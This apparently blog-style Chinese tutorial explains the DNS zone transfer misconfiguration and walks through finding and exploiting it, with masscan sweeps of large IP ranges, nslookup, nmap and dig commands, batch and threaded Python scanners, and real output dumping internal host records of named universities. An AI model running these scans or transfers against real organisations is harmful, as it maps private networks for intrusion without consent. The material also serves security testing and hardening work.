一、DNS域传送

DNS :Domain Name System

一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53

常见DNS记录类型:

  1. 1 A IP地址记录,记录一个域名对应的IP地址
  2. 2 AAAA IPv6 地址记录,记录一个域名对应的IPv6地址
  3. 3 CNAME 别名记录,记录一个主机的别名
  4. 4 MX 电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com
  5. 5 NS 域名服务器记录 ,记录该域名由哪台域名服务器解析
  6. 6 PTR 反向记录,也即从IP地址到域名的一条记录
  7. 7 TXT 记录域名的相关文本信息

域传送 :DNS Zone Transfer

是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库,在主备服务器之间同步数据库,需要使用“DNS域传送”

DNS服务器分为:主服务器、备份服务器和缓存服务器


二、漏洞收集

2.1 利用网络搜索引擎收集域名服务器

shodan:https://www.shodan.io

zoomeye:https://www.zoomeye.org

fofa:https://fofa.so

2.2 利用masscan收集dns服务器 

masscanhttps://github.com/robertdavidgraham/masscan

Debian/Ubuntu安装:

  1. 1 sudo apt-get install git gcc make libpcap-dev
  2. 2 git clone https://github.com/robertdavidgraham/masscan
  3. 3 cd masscan
  4. 4 make

扫描网段:

  1. 1 ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0

获得开放53端口的潜在漏洞DNS服务器对象

ns.xml结果去重:

  1. 1 from lxml import etree
  2. 2 port = None
  3. 3 address = None
  4. 4 parsedServers = []
  5. 5 #Opens the file used to store single enteries.
  6. 6 outputFile = open('ns.txt', 'a')
  7. 7 for event, element in etree.iterparse('ns.xml', tag="host"):
  8. 8 for child in element:
  9. 9 if child.tag == 'address':
  10. 10 address = child.attrib['addr']
  11. 11 if child.tag == 'ports':
  12. 12 for a in child:
  13. 13 port = a.attrib['portid']
  14. 14 if port > 1 and address > 1:
  15. 15 if address not in parsedServers:
  16. 16 print(address)
  17. 17 outputFile.write(address + '\n')
  18. 18 parsedServers.append(address)
  19. 19 port = None
  20. 20 address = None
  21. 21 element.clear()
  22. 22 outputFile.close()
  23. 23 print('End…………………………')

2.3  目标针对 

针对某个目标域名,查询目标所处域dns服务器是否有域传送漏洞,从而获得横向渗透的机会和更多的可能性。见下文:

  1. 1 nslookup结合dig的科学利用

2.4 后人乘凉 

我们稍微无耻一下,用一下别人收集好的dns服务器与域名:https://github.com/lijiejie/edu-dns-zone-transfer/blob/master/vulnerable_hosts.txt

ps: 收集dns服务器,推测出网段与解析的域,从而检测DNS是否存在域传送漏洞


三、漏洞检测与利用

3.1 原理

  1. 1 DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录;
  2. 2 通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录

3.2 危害

  1. 1 网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程

3.3 检测与利用

3.3.1  nslookup 

基本过程:

  1. 1 输入nslookup命令进入交互式shell;
  2. 2 server 命令参数设定查询将要使用的DNS服务器;
  3. 3 ls命令列出某个域中的所有域名;
  4. 4 exit命令退出

失败案例

现在域传送漏洞不太好找

  1. 1 > nslookup
  2. 2 DNS request timed out.
  3. 3 timeout was 2 seconds.
  4. 4 默认服务器: UnKnown
  5. 5 Address: 114.114.114.114
  6. 6
  7. 7 > server ss2.bjfu.edu.cn
  8. 8 默认服务器: ss2.bjfu.edu.cn
  9. 9 Address: 202.204.112.67
  10. 10
  11. 11 > ls bjfu.edu.cn
  12. 12 [ss2.bjfu.edu.cn]
  13. 13 *** 无法列出域 bjfu.edu.cn: Query refused
  14. 14 DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,
  15. 15 请检查 IP 地址 202.204.112.67 DNS 服务器上 bjfu.edu.cn
  16. 16 区域传送安全设置。

成功案例

  1. 1 > nslookup
  2. 2 默认服务器: public1.114dns.com
  3. 3 Address: 114.114.114.114
  4. 4
  5. 5 > server ring.cugb.edu.cn
  6. 6 默认服务器: ring.cugb.edu.cn
  7. 7 Address: 202.204.105.1
  8. 8
  9. 9 > ls cugb.edu.cn
  10. 10 [ring.cugb.edu.cn]
  11. 11 cugb.edu.cn. NS server = ring.cugb.edu.cn
  12. 12 cugb.edu.cn. A 127.0.0.1
  13. 13 acm A 121.194.86.2
  14. 14 bbs A 202.204.105.172
  15. 15 bm A 202.204.105.179
  16. 16 bsbm A 202.204.105.17
  17. 17 bslt A 202.204.109.241
  18. 18 cas A 202.204.105.97
  19. 19 ce A 202.204.99.249
  20. 20 chushi A 202.204.105.243
  21. 21 cj A 202.204.96.111
  22. 22 cms A 202.204.105.179
  23. 23 computer A 202.204.96.202
  24. 24 csc A 202.204.97.60
  25. 25 cugblx A 202.204.105.173
  26. 26 .
  27. 27 .
  28. 28 .
  29. 29 .
  30. 30 yx A 202.204.105.179
  31. 31 zhsh A 202.204.105.198
  32. 32 zzb A 202.204.105.243
  33. 33 >

非交互式方法 :
为了避免和nslookup交换,可以编写一个ls.bat

  1. 1 echo ls %1 | nslookup %2

%1代表第一个参数,即xxx.edu.cn 
%2代表第二个参数,即dns.xxx.edu.cn 
echo是回声命令,原文输出传入的参数内容

测试dns.xxx.edu.cn服务器,可以执行命令:

  1. 1 ls.bat xxx.edu.cn dns.xxx.edu.cn

3.3.2 nmap

  1. 1 nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn

dns-zone-transfer.domain指定要查询的域

dns.xxx.edu.cn为指定的查询域名服务器

成功的话会如下所示,列出了指定域中所有的记录(如果端口屏蔽,就查不出了,不太实用):

  1. 1 > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn
  2. 2
  3. 3 Starting Nmap 7.10 ( https://nmap.org ) at ****
  4. 4 Nmap scan report for dns.hzmc.edu.cn (211.86.0.1)
  5. 5 Host is up (0.38s latency).
  6. 6 PORT STATE SERVICE
  7. 7 53/tcp open domain
  8. 8 | dns-zone-transfer:
  9. 9 | hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
  10. 10 | hzmc.edu.cn. NS ns.hzmc.edu.cn.
  11. 11 | hzmc.edu.cn. NS dns.hzmc.edu.cn.
  12. 12 | hzmc.edu.cn. A 211.86.0.1
  13. 13 | hzmc.edu.cn. MX 10 ns.hzmc.edu.cn.
  14. 14 | dns.hzmc.edu.cn. A 211.86.0.1
  15. 15 | ftp.hzmc.edu.cn. CNAME dns.hzmc.edu.cn.
  16. 16 | www.jwc.hzmc.edu.cn. A 211.86.3.182
  17. 17 | www.lib.hzmc.edu.cn. A 211.86.3.38
  18. 18 | www.spdb.hzmc.edu.cn. A 211.86.0.3
  19. 19 | www.hzmc.edu.cn. A 211.86.0.4
  20. 20 | www.yzzp.hzmc.edu.cn. A 211.86.0.8
  21. 21 | www.zwc.hzmc.edu.cn. A 211.86.2.200
  22. 22 |_hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
  23. 23
  24. 24 Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds

3.3.3 dig 

Windows免安装版dig下载地址:http://download.csdn.net/detail/c465869935/9700646

使用命令:

  1. 1 dig @dns.xxx.edu.cn axfr xxx.edu.cn

@指定域名服务器;axfr 为域传送指令;xxx.edu.cn表示要查询的域名

成功测试:

  1. 1 > dig @ring.cugb.edu.cn axfr cugb.edu.cn
  2. 2
  3. 3 ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn
  4. 4 ; (1 server found)
  5. 5 ;; global options: +cmd
  6. 6 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
  7. 7 cugb.edu.cn. 86400 IN TXT "v=spf1 ip4:202.204.105.6/24 ~all"
  8. 8 cugb.edu.cn. 86400 IN NS ring.cugb.edu.cn.
  9. 9 cugb.edu.cn. 86400 IN MX 5 mail.cugb.edu.cn.
  10. 10 cugb.edu.cn. 86400 IN A 127.0.0.1
  11. 11 cugb.edu.cn. 86400 IN AAAA ::1
  12. 12 acm.cugb.edu.cn. 86400 IN A 121.194.86.2
  13. 13 bbs.cugb.edu.cn. 86400 IN A 202.204.105.172
  14. 14 bm.cugb.edu.cn. 86400 IN A 202.204.105.179
  15. 15 .
  16. 16 .
  17. 17 .
  18. 18 .
  19. 19 zhsh.cugb.edu.cn. 86400 IN A 202.204.105.198
  20. 20 zzb.cugb.edu.cn. 86400 IN A 202.204.105.243
  21. 21 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
  22. 22 ;; Query time: 46 msec
  23. 23 ;; SERVER: 202.204.105.1#53(202.204.105.1)
  24. 24 ;; WHEN: ****
  25. 25 ;; XFR size: 114 records (messages 1, bytes 2562)

dig的批处理利用 For Windows

建立文件: .LandGrey-Dns-Zone-Transfer-Scan.bat

下载链接:http://download.csdn.net/detail/c465869935/9700869

写入以下内容:

  1. 1 @echo off
  2. 2 Rem Build By LandGrey
  3. 3 title Dns Zone Transfer Scan
  4. 4 echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++
  5. 5 for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt

解释:

整个批处理主要是for循环一行一行的读取当前目录下的“/dns-zone-transfer/hostlist.txt”文件,进行工作; %cd% 代表bat文件当前目录;delims=指定分隔符;表示读取的一行文本以空格来分隔;当然,也可以自己修改分隔符;tokens=1,2 表示取以分隔符分隔的第一个和第二个元素;do后面是具体做的事: 一边提示正在扫描的域名,一边扫描域传送漏洞;在批处理中,%%i用来代指第一个元素,根据字母顺序(i,j,k…),%%j指代第二个元素,以此类推; dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替换模版; 这就要求hostlist.txt文件中的书写格式应该为:“[dns-server] [domain]”,类似于如下的形式:

  1. 1 dns.xxx.edu.cn xxx.edu.cn

%cd%\dig.exe表示 .LandGrey-Dns-Zone-Transfer-Scan.bat文件要与dig.exe放在同一个目录下; 最后查询结果全部保存在当前目录下的:“/dns-zone-transfer/ScanResults.txt”文件中;

nslookup结合dig的科学利用

如果获得了目标域名,并不清楚目标的主dns服务器时,可以通过用如下的nslookup语句,先查询目标域名的主dns服务器,然后再用dig进行DNS域传送检测,最后用python脚本实现:

  1. 1 > nslookup -type=ns landgrey.cn
  2. 2 服务器: public1.114dns.com
  3. 3 Address: 114.114.114.114
  4. 4
  5. 5 非权威应答:
  6. 6 landgrey.cn nameserver = dns9.hichina.com
  7. 7 landgrey.cn nameserver = dns10.hichina.com

单个查询(实用)

下载地址:https://github.com/LandGrey/dns-zone-transfer-tester/blob/master/dztester.py

  1. 1 #!/usr/bin/env python
  2. 2 # coding:utf-8
  3. 3 #
  4. 4 # Build by LandGrey 2016-12-03
  5. 5 #
  6. 6
  7. 7 import re
  8. 8 import os
  9. 9 import sys
  10. 10
  11. 11
  12. 12 def dns_zone_tranfer_finder(domain):
  13. 13 print('[+] Nslookup %s' % domain)
  14. 14 cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List
  15. 15 dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
  16. 16 if len(dns_servers) == 0:
  17. 17 print('[+] No DNS Server Found!\n')
  18. 18 exit(0)
  19. 19 for singledns in dns_servers:
  20. 20 print('[+] Using @%s' % singledns)
  21. 21 cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read()
  22. 22 # print cmd_res
  23. 23 if cmd_res.find('XFR size') > 0:
  24. 24 print('[+] Vulnerable dns server found:'), singledns
  25. 25 print(cmd_res)
  26. 26 else:
  27. 27 print('[+] No Vulnerable found')
  28. 28
  29. 29
  30. 30 def usage():
  31. 31 print('[+] Usage: python DZT-tester.py [domain]\n')
  32. 32
  33. 33
  34. 34 if __name__ == "__main__":
  35. 35 if len(sys.argv) != 2:
  36. 36 usage()
  37. 37 elif '-h' in sys.argv[1]:
  38. 38 usage()
  39. 39 else:
  40. 40 domain = sys.argv[1]
  41. 41 print('[+] Test %s' % domain)
  42. 42 dns_zone_tranfer_finder(domain)
  43. 43 print('[+] Finished!')

使用方式:

  1. 1 python dztester.py [domain]

批量查询

脚本同一目录下应有‘dns-zone-transfer’目录;'dns-zone-transfer’目录下有‘dns’子目录; 要检测的域名列表存放在‘dns-zone-transfer\domain.txt’中,一行一个;结果存在'dns-zone-transfer\dns'目录和'dns-zone-transfer\vulnerable_hosts.txt'文件中

  1. 1 # coding:utf-8
  2. 2
  3. 3 import re
  4. 4 import os
  5. 5 import sys
  6. 6 import threading
  7. 7
  8. 8
  9. 9 def dns_zone_tranfer_finder():
  10. 10 global c_index
  11. 11 while True:
  12. 12 lock.acquire()
  13. 13 if c_index >= len(DomainLists):
  14. 14 lock.release()
  15. 15 break
  16. 16 domain = DomainLists[c_index].lstrip('www.')
  17. 17 c_index += 1
  18. 18 lock.release()
  19. 19 cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List
  20. 20 dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
  21. 21 for server in dns_servers:
  22. 22 if len(server) < 5:
  23. 23 server += domain
  24. 24 cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read()
  25. 25 if cmd_res.find('XFR size') > 0 \
  26. 26 and cmd_res.find('Transfer failed.') < 0 \
  27. 27 and cmd_res.find('connection timed out') < 0:
  28. 28 lock.acquire()
  29. 29 print('*' * 10 + ' Vulnerable dns server found:', server, '*' * 10)
  30. 30 lock.release()
  31. 31 with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f:
  32. 32 f.write('%s %s\n' % (server.ljust(30), domain))
  33. 33 with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f:
  34. 34 f.write(cmd_res)
  35. 35
  36. 36
  37. 37 if __name__ == "__main__":
  38. 38 currentdir = os.path.dirname(sys.argv[0])
  39. 39 target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt'))
  40. 40 DomainLists = []
  41. 41 for host in target.readlines():
  42. 42 DomainLists.append(host)
  43. 43 print(u'采集 %d 个...' % len(DomainLists))
  44. 44 threads = []
  45. 45 c_index = 0
  46. 46 lock = threading.Lock()
  47. 47 for i in range(10):
  48. 48 t = threading.Thread(target=dns_zone_tranfer_finder)
  49. 49 t.start()
  50. 50 threads.append(t)
  51. 51 for t in threads:
  52. 52 t.join()
  53. 53 print('All Done!')

漏洞存在标识主要是dig命令结果中出现特征字符串“XFR size”

运行起来类似下面这样:

  1. 1 ********** Vulnerable dns server found: nknu.nknu.edu.tw **********
  2. 2 ********** Vulnerable dns server found: ns2.ntnu.edu.tw **********
  3. 3 ********** Vulnerable dns server found: ns2.must.edu.mo **********
  4. 4 All Done!

四、免责声明

本文仅做技术研究,切勿用本文方法违法犯罪!


更多独家精彩内容  请扫码关注个人公众号,一起Coding吧!


——  ——  ——  ——  —  END  ——  ——  ——  ——  ————

         欢迎扫码关注我的公众号

          小鸿星空科技

       

黑客是如何利用DNS域传送漏洞进行渗透与攻击的?的更多相关文章

  1. [测试技术分享]DNS域传送漏洞测试

    DNS域传送漏洞测试 1.简介: DNS(Domain Name System)也叫域名管理系统,它它建立在一个分布式数据库基础之上,在这个数据库里,保存了IP地址和域名的相互映射关系.正因为DNS的 ...

  2. DNS域传送漏洞利用

    DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库.这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因 ...

  3. DNS域传送漏洞

    nslookup -type=ptr 8.8.8.8             #查询一个IP地址对应的域名 nslookup -type=ns baidu.com         #查询baidu.c ...

  4. DNS域传输漏洞复现

    漏洞原理 DNS分类 常见的DNS记录类型 A IP地址记录,记录一个域名对应的IP地址 AAAA IPv6 地址记录,记录一个域名对应的IPv6地址 CNAME 别名记录,记录一个主机的别名 MX ...

  5. DNS域传输漏洞利用总结

    操作基本的步骤是: 1) 输入nslookup命令进入交互式shell 2) Server 命令参数设定查询将要使用的DNS服务器 3) Ls命令列出某个域中的所有域名 4) Exit命令退出程序 攻 ...

  6. DNS区域传送漏洞实验以及二级域名爆破

    DNS区域传送漏洞实验以及二级域名爆破 目录: 1.DNS服务器的域传送漏洞(nslookup交互式.非交互式.批处理三种方式) 2.写个二级域名爆破脚本 一.DNS服务器的域传送漏洞 实验环境: 服 ...

  7. 利用DNS Zone Transfers漏洞工具dnswalk

    利用DNS Zone Transfers漏洞工具dnswalk   DNS Zone Transfers(DNS区域传输)是指一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库.当主服 ...

  8. 技术报告:APT组织Wekby利用DNS请求作为C&C设施,攻击美国秘密机构

    技术报告:APT组织Wekby利用DNS请求作为C&C设施,攻击美国秘密机构 最近几周Paloalto Networks的研究人员注意到,APT组织Wekby对美国的部分秘密机构展开了一次攻击 ...

  9. <转>DNS服务系列之二:DNS区域传送漏洞的安全案例

    DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库.这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因 ...

随机推荐

  1. Linux系列(26) - 强制杀死进程

    查进程 ps  -ef ps -aux #上述两个均可 例子:ps -ef | grep "vim canshu2" 强杀进程 kill -s 9 进程id #命令格式 例子:ki ...

  2. python对象引用和垃圾回收

    变量="标签" 变量a和变量b引用同一个列表: >>> a = [1, 2, 3] >>> b = a >>> a.appen ...

  3. mysql 添加远程访问

    第一种:mysql 5.0(两种方式) 一. 在命令窗口输入,mysql -u root -p  回车,并输入密码 执行 use mysql 执行下面句子,查看权限,root默认权限为localhos ...

  4. django forms的常用命令及方法(二)

    根据别人网上发布,个人爱好收集 1.创建Form类 from django.forms import Form from django.forms import widgets from django ...

  5. 关于ModuleNotFoundError: No module named 'xxx' 模块导入失败问题

    我在执行数据库迁移命令的时候pycharm报错,提示ModuleNotFoundError: No module named 'ckeditor',但是我确实是导进来了,而且这个包也从settings ...

  6. mac使用brew update无反应,更新慢解决办法

    一.原因 主要是资源访问太慢的原因造成的,替换一下镜像就可以了 有点耐心,大概5分钟就可以了,刚开始的时候terminal 只有顶部的title栏会变化,最后才会出现更新结果 使用中科大的镜像 替换默 ...

  7. CF891E-Lust【EGF】

    正题 题目链接:https://www.luogu.com.cn/problem/CF891E 题目大意 \(n\)个数字的一个序列\(a_i\),每次随机选择一个让它减去一.然后贡献加上所有其他\( ...

  8. 一凡老师亲录视频,Python从零基础到高级进阶带你飞

    如需Q群交流 群:893694563 不定时更新2-3节视频 零基础学生请点击 Python基础入门视频 如果你刚初入测试行业 如果你刚转入到测试行业 如果你想学习Python,学习自动化,搭建自动化 ...

  9. WPF进阶技巧和实战02-布局

    窗体 无边框 窗体无边框(最大化及标题位置)WindowStyle="None" 窗体透明 AllowsTransparency="True",必须设置窗体无边 ...

  10. keepalived 安装和配置解析

    Keepalived的特性     配置文件简单:配置文件比较简单,可通过简单配置实现高可用功能     稳定性强:keepalived是一个类似于layer3, 4 & 7交换机制的软件,具 ...